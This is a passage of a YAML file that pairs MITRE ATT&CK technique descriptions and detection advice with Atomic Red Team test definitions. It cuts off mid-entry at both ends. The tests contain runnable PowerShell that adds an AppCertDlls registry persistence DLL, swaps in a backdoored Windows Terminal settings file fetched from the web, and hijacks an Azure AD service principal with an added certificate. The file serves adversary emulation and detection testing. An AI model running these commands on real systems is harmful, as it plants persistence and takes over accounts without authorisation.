cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017) \n\nTools such as Sysinternals Autoruns may overlook AppCert DLLs as an auto-starting location. (Citation: TechNet Autoruns) (Citation: Sysinternals AppCertDlls Oct 2007)\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement." x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Module: Module Load' - 'Command: Command Execution' - 'Process: OS API Execution' - 'Windows Registry: Windows Registry Key Modification' - 'Process: Process Creation' x_mitre_permissions_required: - Administrator - SYSTEM x_mitre_effective_permissions: - Administrator - SYSTEM spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1546.009 atomic_tests: - name: Create registry persistence via AppCert DLL auto_generated_guid: a5ad6104-5bab-4c43-b295-b4c44c7c6b05 description: "Creates a new 'AtomicTest' value pointing to an AppCert DLL in the AppCertDlls registry key. \nOnce the computer restarted, the DLL will be loaded in multiple processes and write an \n'AtomicTest.txt' file in C:\\Users\\Public\\ to validate that the DLL executed succesfully.\n\nReference: https://skanthak.homepage.t-online.de/appcert.html\n" supported_platforms: - windows input_arguments: dll_path: description: path of dll to use type: path default: PathToAtomicsFolder\T1546.009\bin\AtomicTest.dll reboot: description: Set value to $true if you want to automatically reboot the machine type: string default: "$false" dependency_executor_name: powershell dependencies: - description: 'File to copy must exist on disk at specified location (#{dll_path}) ' prereq_command: 'if (Test-Path "#{dll_path}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{dll_path}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.009/bin/AtomicTest.dll" -OutFile "#{dll_path}" executor: command: "Copy-Item \"#{dll_path}\" C:\\Users\\Public\\AtomicTest.dll -Force\nreg add \"HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager\\AppCertDlls\" /v \"AtomicTest\" /t REG_EXPAND_SZ /d \"C:\\Users\\Public\\AtomicTest.dll\" /f\nif(#{reboot}){Restart-Computer} \n" cleanup_command: | reg delete "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\AppCertDlls" /v "AtomicTest" /f Remove-Item C:\Users\Public\AtomicTest.dll -Force Remove-Item C:\Users\Public\AtomicTest.txt -Force name: powershell elevation_required: true T1098.005: technique: modified: '2023-10-03T17:38:39.065Z' name: Device Registration description: "Adversaries may register a device to an adversary-controlled account. Devices may be registered in a multifactor authentication (MFA) system, which handles authentication to the network, or in a device management system, which handles device access and compliance.\n\nMFA systems, such as Duo or Okta, allow users to associate devices with their accounts in order to complete MFA requirements. An adversary that compromises a user’s credentials may enroll a new device in order to bypass initial MFA requirements and gain persistent access to a network.(Citation: CISA MFA PrintNightmare)(Citation: DarkReading FireEye SolarWinds) In some cases, the MFA self-enrollment process may require only a username and password to enroll the account's first device or to enroll a device to an inactive account. (Citation: Mandiant APT29 Microsoft 365 2022)\n\nSimilarly, an adversary with existing access to a network may register a device to Azure AD and/or its device management system, Microsoft Intune, in order to access sensitive data or resources while bypassing conditional access policies.(Citation: AADInternals - Device Registration)(Citation: AADInternals - Conditional Access Bypass)(Citation: Microsoft DEV-0537) \n\nDevices registered in Azure AD may be able to conduct [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) campaigns via intra-organizational emails, which are less likely to be treated as suspicious by the email client.(Citation: Microsoft - Device Registration) Additionally, an adversary may be able to perform a [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002) on an Azure AD tenant by registering a large number of devices.(Citation: AADInternals - BPRT)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_contributors: - Pawel Partyka, Microsoft 365 Defender - Mike Moran - Joe Gumke, U.S. Bank - Arad Inbar, Fidelis Security x_mitre_deprecated: false x_mitre_detection: '' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Azure AD - Windows - SaaS x_mitre_version: '1.2' x_mitre_data_sources: - 'Application Log: Application Log Content' - 'Active Directory: Active Directory Object Creation' - 'User Account: User Account Modification' type: attack-pattern id: attack-pattern--7decb26c-715c-40cf-b7e0-026f7d7cc215 created: '2022-03-04T18:30:38.989Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1098/005 external_id: T1098.005 - source_name: CISA MFA PrintNightmare description: Cybersecurity and Infrastructure Security Agency. (2022, March 15). Russian State-Sponsored Cyber Actors Gain Network Access by Exploiting Default Multifactor Authentication Protocols and “PrintNightmare” Vulnerability. Retrieved March 16, 2022. url: https://www.cisa.gov/uscert/ncas/alerts/aa22-074a - source_name: Mandiant APT29 Microsoft 365 2022 description: 'Douglas Bienstock. (2022, August 18). You Can’t Audit Me: APT29 Continues Targeting Microsoft 365. Retrieved February 23, 2023.' url: https://www.mandiant.com/resources/blog/apt29-continues-targeting-microsoft - source_name: AADInternals - Conditional Access Bypass description: Dr. Nestori Syynimaa. (2020, September 6). Bypassing conditional access by faking device compliance. Retrieved March 4, 2022. url: https://o365blog.com/post/mdm - source_name: AADInternals - BPRT description: 'Dr. Nestori Syynimaa. (2021, January 31). BPRT unleashed: Joining multiple devices to Azure AD and Intune. Retrieved March 4, 2022.' url: https://o365blog.com/post/bprt/ - source_name: AADInternals - Device Registration description: Dr. Nestori Syynimaa. (2021, March 3). Deep-dive to Azure AD device join. Retrieved March 9, 2022. url: https://o365blog.com/post/devices/ - source_name: DarkReading FireEye SolarWinds description: 'Kelly Jackson Higgins. (2021, January 7). FireEye''s Mandia: ''Severity-Zero Alert'' Led to Discovery of SolarWinds Attack. Retrieved April 18, 2022.' url: https://www.darkreading.com/threat-intelligence/fireeye-s-mandia-severity-zero-alert-led-to-discovery-of-solarwinds-attack - source_name: Microsoft - Device Registration description: 'Microsoft 365 Defender Threat Intelligence Team. (2022, January 26). Evolved phishing: Device registration trick adds to phishers’ toolbox for victims without MFA. Retrieved March 4, 2022.' url: https://www.microsoft.com/security/blog/2022/01/26/evolved-phishing-device-registration-trick-adds-to-phishers-toolbox-for-victims-without-mfa - source_name: Microsoft DEV-0537 description: Microsoft. (2022, March 22). DEV-0537 criminal actor targeting organizations for data exfiltration and destruction. Retrieved March 23, 2022. url: https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1542: technique: modified: '2024-02-26T14:26:14.364Z' name: Pre-OS Boot description: |- Adversaries may abuse Pre-OS Boot mechanisms as a way to establish persistence on a system. During the booting process of a computer, firmware and various startup services are loaded before the operating system. These programs control flow of execution before the operating system takes control.(Citation: Wikipedia Booting) Adversaries may overwrite data in boot drivers or firmware such as BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) to persist on systems at a layer below the operating system. This can be particularly difficult to detect as malware at this level will not be detected by host software-based defenses. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: persistence x_mitre_deprecated: false x_mitre_detection: |- Perform integrity checking on pre-OS boot mechanisms that can be manipulated for malicious purposes. Take snapshots of boot records and firmware and compare against known good images. Log changes to boot records, BIOS, and EFI, which can be performed by API calls, and compare against known good behavior and patching. Disk check, forensic utilities, and data from device drivers (i.e. processes and API calls) may reveal anomalies that warrant deeper investigation.(Citation: ITWorld Hard Disk Health Dec 2014) x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Linux - Windows - Network - macOS x_mitre_version: '1.2' x_mitre_data_sources: - 'Drive: Drive Modification' - 'Network Traffic: Network Connection Creation' - 'Process: OS API Execution' - 'Driver: Driver Metadata' - 'Command: Command Execution' - 'Firmware: Firmware Modification' x_mitre_defense_bypassed: - Anti-virus - Host intrusion prevention systems - File monitoring type: attack-pattern id: attack-pattern--7f0ca133-88c4-40c6-a62f-b3083a7fbc2e created: '2019-11-13T14:44:49.439Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1542 external_id: T1542 - source_name: ITWorld Hard Disk Health Dec 2014 description: Pinola, M. (2014, December 14). 3 tools to check your hard drive's health and make sure it's not already dying on you. Retrieved October 2, 2018. url: https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html - source_name: Wikipedia Booting description: Wikipedia. (n.d.). Booting. Retrieved November 13, 2019. url: https://en.wikipedia.org/wiki/Booting object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1547.015: technique: x_mitre_platforms: - macOS x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--84601337-6a55-4ad7-9c35-79e0d1ea2ab3 type: attack-pattern created: '2021-10-05T21:26:15.081Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1547.015 url: https://attack.mitre.org/techniques/T1547/015 - source_name: Open Login Items Apple url: https://support.apple.com/guide/mac-help/open-items-automatically-when-you-log-in-mh15189/mac description: Apple. (n.d.). Open items automatically when you log in on Mac. Retrieved October 1, 2021. - url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLoginItems.html description: Apple. (2016, September 13). Adding Login Items. Retrieved July 11, 2017. source_name: Adding Login Items - source_name: SMLoginItemSetEnabled Schroeder 2013 url: https://blog.timschroeder.net/2013/04/21/smloginitemsetenabled-demystified/ description: Tim Schroeder. (2013, April 21). SMLoginItemSetEnabled Demystified. Retrieved October 5, 2021. - source_name: Launch Services Apple Developer url: https://developer.apple.com/documentation/coreservices/launch_services description: Apple. (n.d.). Launch Services. Retrieved October 5, 2021. - source_name: ELC Running at startup url: https://eclecticlight.co/2018/05/22/running-at-startup-when-to-use-a-login-item-or-a-launchagent-launchdaemon/ description: 'hoakley. (2018, May 22). Running at startup: when to use a Login Item or a LaunchAgent/LaunchDaemon. Retrieved October 5, 2021.' - source_name: Login Items AE url: https://developer.apple.com/library/archive/samplecode/LoginItemsAE/Introduction/Intro.html#//apple_ref/doc/uid/DTS10003788 description: Apple. (n.d.). Login Items AE. Retrieved October 4, 2021. - source_name: Startup Items Eclectic url: https://eclecticlight.co/2021/09/16/how-to-run-an-app-or-tool-at-startup/ description: hoakley. (2021, September 16). How to run an app or tool at startup. Retrieved October 5, 2021. - source_name: hexed osx.dok analysis 2019 url: http://www.hexed.in/2019/07/osxdok-analysis.html description: fluffybunny. (2019, July 9). OSX.Dok Analysis. Retrieved October 4, 2021. - source_name: Add List Remove Login Items Apple Script url: https://gist.github.com/kaloprominat/6111584 description: 'kaloprominat. (2013, July 30). macos: manage add list remove login items apple script. Retrieved October 5, 2021.' - url: https://objective-see.com/blog/blog_0x25.html description: Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018. source_name: objsee mac malware 2017 - source_name: CheckPoint Dok url: https://blog.checkpoint.com/2017/04/27/osx-malware-catching-wants-read-https-traffic/ description: Ofer Caspi. (2017, May 4). OSX Malware is Catching Up, and it wants to Read Your HTTPS Traffic. Retrieved October 5, 2021. - source_name: objsee netwire backdoor 2019 url: https://objective-see.com/blog/blog_0x44.html description: Patrick Wardle. (2019, June 20). Burned by Fire(fox). Retrieved October 1, 2021. - source_name: objsee block blocking login items url: https://objective-see.com/blog/blog_0x31.html description: Patrick Wardle. (2018, July 23). Block Blocking Login Items. Retrieved October 1, 2021. - source_name: sentinelone macos persist Jun 2019 url: https://www.sentinelone.com/blog/how-malware-persists-on-macos/ description: Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019. - source_name: Launch Service Keys Developer Apple url: https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/LaunchServicesKeys.html#//apple_ref/doc/uid/TP40009250-SW1 description: Apple. (2018, June 4). Launch Services Keys. Retrieved October 5, 2021. modified: '2022-04-25T14:00:00.188Z' name: 'Boot or Logon Autostart Execution: Login Items' description: |- Adversaries may add login items to execute upon user login to gain persistence or escalate privileges. Login items are applications, documents, folders, or server connections that are automatically launched when a user logs in.(Citation: Open Login Items Apple) Login items can be added via a shared file list or Service Management Framework.(Citation: Adding Login Items) Shared file list login items can be set using scripting languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002), whereas the Service Management Framework uses the API call SMLoginItemSetEnabled. Login items installed using the Service Management Framework leverage launchd, are not visible in the System Preferences, and can only be removed by the application that created them.(Citation: Adding Login Items)(Citation: SMLoginItemSetEnabled Schroeder 2013) Login items created using a shared file list are visible in System Preferences, can hide the application when it launches, and are executed through LaunchServices, not launchd, to open applications, documents, or URLs without using Finder.(Citation: Launch Services Apple Developer) Users and applications use login items to configure their user environment to launch commonly used services or applications, such as email, chat, and music applications. Adversaries can utilize [AppleScript](https://attack.mitre.org/techniques/T1059/002) and [Native API](https://attack.mitre.org/techniques/T1106) calls to create a login item to spawn malicious executables.(Citation: ELC Running at startup) Prior to version 10.5 on macOS, adversaries can add login items by using [AppleScript](https://attack.mitre.org/techniques/T1059/002) to send an Apple events to the “System Events” process, which has an AppleScript dictionary for manipulating login items.(Citation: Login Items AE) Adversaries can use a command such as tell application “System Events” to make login item at end with properties /path/to/executable.(Citation: Startup Items Eclectic)(Citation: hexed osx.dok analysis 2019)(Citation: Add List Remove Login Items Apple Script) This command adds the path of the malicious executable to the login item file list located in ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm.(Citation: Startup Items Eclectic) Adversaries can also use login items to launch executables that can be used to control the victim system remotely or as a means to gain privilege escalation by prompting for user credentials.(Citation: objsee mac malware 2017)(Citation: CheckPoint Dok)(Citation: objsee netwire backdoor 2019) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_detection: |- All login items created via shared file lists are viewable by using the System Preferences GUI or in the ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm file.(Citation: Open Login Items Apple)(Citation: Startup Items Eclectic)(Citation: objsee block blocking login items)(Citation: sentinelone macos persist Jun 2019) These locations should be monitored and audited for known good applications. Otherwise, login Items are located in Contents/Library/LoginItems within an application bundle, so these paths should be monitored as well.(Citation: Adding Login Items) Monitor applications that leverage login items with either the LSUIElement or LSBackgroundOnly key in the Info.plist file set to true.(Citation: Adding Login Items)(Citation: Launch Service Keys Developer Apple) Monitor processes that start at login for unusual or unknown applications. Usual applications for login items could include what users add to configure their user environment, such as email, chat, or music applications, or what administrators include for organization settings and protections. Check for running applications from login items that also have abnormal behavior,, such as establishing network connections. x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Process: Process Creation' - 'File: File Creation' - 'File: File Modification' x_mitre_permissions_required: - User spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1547.015 atomic_tests: - name: Persistence by modifying Windows Terminal profile auto_generated_guid: ec5d76ef-82fe-48da-b931-bdb25a62bc65 description: Modify Windows Terminal settings.json file to gain persistence. [Twitter Post](https://twitter.com/nas_bench/status/1550836225652686848) supported_platforms: - windows input_arguments: calculator: description: Test program used to imitate a maliciously called program. type: string default: calculator.exe settings_json_def: description: Default file for Windows Terminal to replace the default profile with a backdoor to call another program. type: path default: "~\\AppData\\Local\\Packages\\Microsoft.WindowsTerminal_8wekyb3d8bbwe\\LocalState\\settings.json" settings_json_tmp: description: Temp file for Windows Terminal. type: path default: "~\\AppData\\Local\\Temp\\settings.json" wt_exe: description: Windows Terminal executable. type: path default: "~\\AppData\\Local\\Microsoft\\WindowsApps\\Microsoft.WindowsTerminal_8wekyb3d8bbwe\\wt.exe" dependency_executor_name: powershell dependencies: - description: 'Windows Terminal must be installed ' prereq_command: 'if (Test-Path #{wt_exe}) {exit 0} else {exit 1} ' get_prereq_command: '$(rm ~\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\LocalState\StoreEdgeFD\installed.db -ErrorAction Ignore; Write-Output ""; $?) -and $(winget install --id=Microsoft.WindowsTerminal) ' executor: command: | mv #{settings_json_def} #{settings_json_tmp} Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1547.015/src/settings.json?raw=true" -OutFile "#{settings_json_def}" wt.exe cleanup_command: | mv -Force #{settings_json_tmp} #{settings_json_def} taskkill /F /IM "#{calculator}" > $null name: powershell - name: Add macOS LoginItem using Applescript auto_generated_guid: 716e756a-607b-41f3-8204-b214baf37c1d description: | Runs osascript on a file to create new LoginItem for current user. NOTE: Will popup dialog prompting user to Allow or Deny Terminal.app to control "System Events" Therefore, it can't be automated until the TCC is granted. The login item launches Safari.app when user logs in, but there is a cleanup script to remove it as well. In addition to the `osascript` Process Events, file modification events to `/Users/*/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm` should be seen. supported_platforms: - macos input_arguments: scriptfile: description: path to Applescript source to add Safari LoginItem. type: string default: PathToAtomicsFolder/T1547.015/src/add_login_item.osa cleanup_script: description: path to Applescript source to delete Safari LoginItem. type: string default: PathToAtomicsFolder/T1547.015/src/remove_login_item.osa executor: command: 'osascript #{scriptfile} ' cleanup_command: 'osascript #{cleanup_script} ' name: bash T1205.001: technique: x_mitre_platforms: - Linux - macOS - Windows - Network x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--8868cb5b-d575-4a60-acb2-07d37389a2fd type: attack-pattern created: '2020-07-01T18:23:25.002Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1205.001 url: https://attack.mitre.org/techniques/T1205/001 - url: https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631 description: 'Hartrell, Greg. (2002, August). Get a handle on cd00r: The invisible backdoor. Retrieved October 13, 2018.' source_name: Hartrell cd00r 2002 modified: '2022-05-11T14:00:00.188Z' name: Port Knocking description: |- Adversaries may use port knocking to hide open ports used for persistence or command and control. To enable a port, an adversary sends a series of attempted connections to a predefined sequence of closed ports. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software. This technique has been observed both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system. The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: command-and-control x_mitre_detection: Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows. x_mitre_is_subtechnique: true x_mitre_version: '1.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Network Traffic: Network Connection Creation' - 'Network Traffic: Network Traffic Flow' x_mitre_permissions_required: - User spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1098.001: technique: modified: '2024-02-28T14:35:00.862Z' name: 'Account Manipulation: Additional Cloud Credentials' description: "Adversaries may add adversary-controlled credentials to a cloud account to maintain persistent access to victim accounts and instances within the environment.\n\nFor example, adversaries may add credentials for Service Principals and Applications in addition to existing legitimate credentials in Azure AD.(Citation: Microsoft SolarWinds Customer Guidance)(Citation: Blue Cloud of Death)(Citation: Blue Cloud of Death Video) These credentials include both x509 keys and passwords.(Citation: Microsoft SolarWinds Customer Guidance) With sufficient permissions, there are a variety of ways to add credentials including the Azure Portal, Azure command line interface, and Azure or Az PowerShell modules.(Citation: Demystifying Azure AD Service Principals)\n\nIn infrastructure-as-a-service (IaaS) environments, after gaining access through [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004), adversaries may generate or import their own SSH keys using either the CreateKeyPair or ImportKeyPair API in AWS or the gcloud compute os-login ssh-keys add command in GCP.(Citation: GCP SSH Key Add) This allows persistent access to instances within the cloud environment without further usage of the compromised cloud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expel Behind the Scenes)\n\nAdversaries may also use the CreateAccessKey API in AWS or the gcloud iam service-accounts keys create command in GCP to add access keys to an account. If the target account has different permissions from the requesting account, the adversary may also be able to escalate their privileges in the environment (i.e. [Cloud Accounts](https://attack.mitre.org/techniques/T1078/004)).(Citation: Rhino Security Labs AWS Privilege Escalation)(Citation: Sysdig ScarletEel 2.0) For example, in Azure AD environments, an adversary with the Application Administrator role can add a new set of credentials to their application's service principal. In doing so the adversary would be able to access the service principal’s roles and permissions, which may be different from those of the Application Administrator.(Citation: SpecterOps Azure Privilege Escalation) \n\nIn AWS environments, adversaries with the appropriate permissions may also use the `sts:GetFederationToken` API call to create a temporary set of credentials to [Forge Web Credentials](https://attack.mitre.org/techniques/T1606) tied to the permissions of the original user account. These temporary credentials may remain valid for the duration of their lifetime even if the original account’s API credentials are deactivated.\n(Citation: Crowdstrike AWS User Federation Persistence)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation x_mitre_contributors: - Expel - Oleg Kolesnikov, Securonix - Jannie Li, Microsoft Threat Intelligence Center (MSTIC) - Zur Ulianitzky, XM Cyber - Alex Soler, AttackIQ - Dylan Silva, AWS Security - Arad Inbar, Fidelis Security x_mitre_deprecated: false x_mitre_detection: |- Monitor Azure Activity Logs for Service Principal and Application modifications. Monitor for the usage of APIs that create or import SSH keys, particularly by unexpected users or accounts such as the root account. Monitor for use of credentials at unusual times or to unusual systems or services. This may also correlate with other suspicious activity. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - IaaS - Azure AD - SaaS x_mitre_version: '2.7' x_mitre_data_sources: - 'User Account: User Account Modification' type: attack-pattern id: attack-pattern--8a2f40cf-8325-47f9-96e4-b1ca4c7389bd created: '2020-01-19T16:10:15.008Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1098/001 external_id: T1098.001 - source_name: Crowdstrike AWS User Federation Persistence description: " Vaishnav Murthy and Joel Eng. (2023, January 30). How Adversaries Can Persist with AWS User Federation. Retrieved March 10, 2023." url: https://www.crowdstrike.com/blog/how-adversaries-persist-with-aws-user-federation/ - source_name: Expel IO Evil in AWS description: A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020. url: https://expel.io/blog/finding-evil-in-aws/ - source_name: SpecterOps Azure Privilege Escalation description: Andy Robbins. (2021, October 12). Azure Privilege Escalation via Service Principal Abuse. Retrieved April 1, 2022. url: https://posts.specterops.io/azure-privilege-escalation-via-service-principal-abuse-210ae2be2a5 - source_name: Demystifying Azure AD Service Principals description: Bellavance, Ned. (2019, July 16). Demystifying Azure AD Service Principals. Retrieved January 19, 2020. url: https://nedinthecloud.com/2019/07/16/demystifying-azure-ad-service-principals/ - source_name: GCP SSH Key Add description: Google. (n.d.). gcloud compute os-login ssh-keys add. Retrieved October 1, 2020. url: https://cloud.google.com/sdk/gcloud/reference/compute/os-login/ssh-keys/add - source_name: Blue Cloud of Death Video description: 'Kunz, Bruce. (2018, October 14). Blue Cloud of Death: Red Teaming Azure. Retrieved November 21, 2019.' url: https://www.youtube.com/watch?v=wQ1CuAPnrLM&feature=youtu.be&t=2815 - source_name: Blue Cloud of Death description: 'Kunz, Bryce. (2018, May 11). Blue Cloud of Death: Red Teaming Azure. Retrieved October 23, 2019.' url: https://speakerdeck.com/tweekfawkes/blue-cloud-of-death-red-teaming-azure-1 - source_name: Microsoft SolarWinds Customer Guidance description: MSRC. (2020, December 13). Customer Guidance on Recent Nation-State Cyber Attacks. Retrieved December 17, 2020. url: https://msrc-blog.microsoft.com/2020/12/13/customer-guidance-on-recent-nation-state-cyber-attacks/ - source_name: Expel Behind the Scenes description: 'S. Lipton, L. Easterly, A. Randazzo and J. Hencinski. (2020, July 28). Behind the scenes in the Expel SOC: Alert-to-fix in AWS. Retrieved October 1, 2020.' url: https://expel.io/blog/behind-the-scenes-expel-soc-alert-aws/ - source_name: Sysdig ScarletEel 2.0 description: 'SCARLETEEL 2.0: Fargate, Kubernetes, and Crypto. (2023, July 11). SCARLETEEL 2.0: Fargate, Kubernetes, and Crypto. Retrieved July 12, 2023.' url: https://sysdig.com/blog/scarleteel-2-0/ - source_name: Rhino Security Labs AWS Privilege Escalation description: Spencer Gietzen. (n.d.). AWS IAM Privilege Escalation – Methods and Mitigation. Retrieved May 27, 2022. url: https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1098.001 atomic_tests: - name: Azure AD Application Hijacking - Service Principal auto_generated_guid: b8e747c3-bdf7-4d71-bce2-f1df2a057406 description: | Add a certificate to an Application through its Service Principal. The certificate can then be used to authenticate as the application. This can be used for persistence, and also for privilege escalation by benefiting from the Application's rights. An account with high-enough Azure AD privileges is needed, such as Global Administrator or Application Administrator. The account authentication must be without MFA. supported_platforms: - azure-ad input_arguments: username: description: Azure AD username type: string default: jonh@contoso.com password: description: Azure AD password type: string default: p4sswd service_principal_name: description: Name of the targeted service principal type: string default: SuperSP dependency_executor_name: powershell dependencies: - description: 'AzureAD module must be installed. ' prereq_command: 'try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1} ' get_prereq_command: 'Install-Module -Name AzureAD -Force ' executor: command: | Import-Module -Name AzureAD $PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword Connect-AzureAD -Credential $Credential > $null $sp = Get-AzureADServicePrincipal -SearchString "#{service_principal_name}" | Select-Object -First 1 if ($sp -eq $null) { Write-Warning "Service Principal not found"; exit } # in the context of an ART test (and not a real attack), we don't need to keep access for too long. In case the cleanup command isn't called, it's better to ensure that everything expires after 1 day so it doesn't leave this backdoor open for too long $credNotAfter = (Get-Date).AddDays(1) $certNotAfter = (Get-Date).AddDays(2) # certificate expiry must be later than cred expiry $cert = New-SelfSignedCertificate -DnsName "atomicredteam.example.com" -FriendlyName "AtomicCert" -CertStoreLocation Cert:\CurrentUser\My -KeyExportPolicy Exportable -Provider "Microsoft Enhanced RSA and AES Cryptographic Provider" -NotAfter $certNotAfter $keyValue = [System.Convert]::ToBase64String($cert.GetRawCertData()) Write-Host "Generated certificate ""$($cert.Thumbprint)""" New-AzureADServicePrincipalKeyCredential -ObjectId $sp.ObjectId -Type AsymmetricX509Cert -CustomKeyIdentifier "AtomicTest" -Usage Verify -Value $keyValue -EndDate $credNotAfter Start-Sleep -s 30 $tenant = Get-AzureADTenantDetail $auth = Connect-AzureAD -TenantId $tenant.ObjectId -ApplicationId $sp.AppId -CertificateThumbprint $cert.Thumbprint Write-Host "Application Hijacking worked. Logged in successfully as $($auth.Account.Id) of type $($auth.Account.Type)" Write-Host "End of Hijacking" cleanup_command: "Import-Module -Name AzureAD -ErrorAction Ignore\n$PWord = ConvertTo-SecureString -String \"#{password}\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"#{username}\", $Pword\nConnect-AzureAD -Credential $Credential -ErrorAction Ignore > $null\n\n$sp = Get-AzureADServicePrincipal -SearchString \"#{service_principal_name}\" | Select-Object -First 1\n$credz = Get-AzureADServicePrincipalKeyCredential -ObjectId $sp.ObjectId\nforeach ($cred in $credz) {\n if ([System.Text.Encoding]::ASCII.GetString($cred.CustomKeyIdentifier) -eq \"AtomicTest\") {\n Write-Host \"Removed $($cred.KeyId) key from SP\"\n Remove-AzureADServicePrincipalKeyCredential -ObjectId $sp.ObjectId -KeyId $cred.KeyId\n } \n}\nGet-ChildItem -Path Cert:\\CurrentUser\\My | where { $_.FriendlyName -eq \"AtomicCert\" } | Remove-Item\n" name: powershell elevation_required: false - name: Azure AD Application Hijacking - App Registration auto_generated_guid: a12b5531-acab-4618-a470-0dafb294a87a description: | Add a certificate to an Application through its App Registration. The certificate can then be used to authenticate as the application. This can be used for persistence, and also for privilege escalation by benefiting from the Application's rights. An account with high-enough Azure AD privileges is needed, such as Global Administrator or Application Administrator. The account authentication must be without MFA. supported_platforms: - azure-ad input_arguments: username: description: Azure AD username type: string default: 